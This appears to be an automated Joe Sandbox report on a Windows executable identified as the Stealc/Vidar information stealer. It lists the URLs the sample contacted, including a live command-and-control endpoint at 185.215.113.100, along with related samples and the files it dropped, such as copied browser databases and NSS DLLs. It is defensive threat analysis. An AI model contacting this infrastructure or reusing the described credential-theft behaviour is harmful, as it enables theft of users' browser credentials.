https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.1894523709.00000000012B4000.00000004.00000020.00020000.00000000.sdmp, BAAFBFBAAKECFIEBFIEC.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	IDBAKKEC.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://185.215.113.100/0d60be0de163924d/vcruntime140.dllJJKFHJEBKFBGDAAE	file.exe, 00000000.00000002.1894523709.0000000001224000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.php3	file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	true	7%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	IDBAKKEC.0.dr	false	URL Reputation: safe	unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.1894523709.00000000012B4000.00000004.00000020.00020000.00000000.sdmp, BAAFBFBAAKECFIEBFIEC.0.dr	false	Avira URL Cloud: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, file.exe, 00000000.00000003.1745630793.000000001D44C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1893492531.0000000000121000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	file.exe, 00000000.00000002.1893492531.000000000015C000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	IDBAKKEC.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	AKJKFBAFIDAEBFHJKJEBFCBFHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100e2b1563c6670f193.phpion:	file.exe, 00000000.00000002.1893492531.00000000002CD000.00000040.00000001.01000000.00000003.sdmp	true	Avira URL Cloud: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpNT	file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: phishing	unknown
https://ac.ecosia.org/autocomplete?q=	IDBAKKEC.0.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.1894523709.00000000012B4000.00000004.00000020.00020000.00000000.sdmp, BAAFBFBAAKECFIEBFIEC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpFBFBAAKECFIEBFIEC	file.exe, 00000000.00000002.1894523709.0000000001238000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phppmfplkfogfpmcngplhnbdnnie	file.exe, 00000000.00000002.1894523709.0000000001256000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://185.215.113.100/e2b1563c6670f193.phpnfigOverlay	file.exe, 00000000.00000002.1894523709.0000000001238000.00000004.00000020.00020000.00000000.sdmp	true	6%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://support.mozilla.org	AKJKFBAFIDAEBFHJKJEBFCBFHD.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.phpc=#	file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	IDBAKKEC.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.100/e2b1563c6670f193.php=C	file.exe, 00000000.00000002.1894523709.00000000011D0000.00000004.00000020.00020000.00000000.sdmp	true	18%, Virustotal, Browse Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.100	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1502366
Start date and time:	2024-09-01 01:21:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/22@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 78 Number of non-executed functions: 115
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.100	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	trSK2fqPeB.exe	Get hash	malicious	Amadey, RedLine, XWorm, Xmrig	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.100
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.17
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	wfJfUGeGT3.exe	Get hash	malicious	Amadey, Cryptbot, LummaC Stealer, PureLog Stealer, RedLine, XWorm, zgRAT	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.100

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	1p5yg5LO0h.exe	Get hash	malicious	Vidar	Browse
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	1p5yg5LO0h.exe	Get hash	malicious	Vidar	Browse
	OmnqazpM3P.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, PureLog Stealer, RedLine, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKJKFBAFIDAEBFHJKJEBFCBFHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BAAFBFBAAKECFIEBFIEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	dropped
Size (bytes):	9571
Entropy (8bit):	5.536643647658967
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSl:yegqumcwQ0
MD5:	5D8E5D85E880FB2D153275FCBE9DA6E5
SHA1:	72332A8A92B77A8B1E3AA00893D73FC2704B0D13
SHA-256:	50490DC0D0A953FA7D5E06105FE9676CDB9B49C399688068541B19DD911B90F9
SHA-512:	57441B4CCBA58F557E08AAA0918D1F9AC36D0AF6F6EB3D3C561DA7953ED156E89857FFB829305F65D220AE1075BC825F131D732B589B5844C82CA90B53AAF4EE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DGHJECAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ECGDAAFIIJDAAAAKFHID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCAAEHJDBKJJKFHJEBKFBGDAAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCGCGDHJEGHJKFHJJJKJJJJKEH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\IDBAKKEC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJJEBGDAFHJEBGDGIJDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1p5yg5LO0h.exe, Detection: malicious, Browse Filename: OmnqazpM3P.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 1p5yg5LO0h.exe, Detection: malicious, Browse Filename: OmnqazpM3P.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
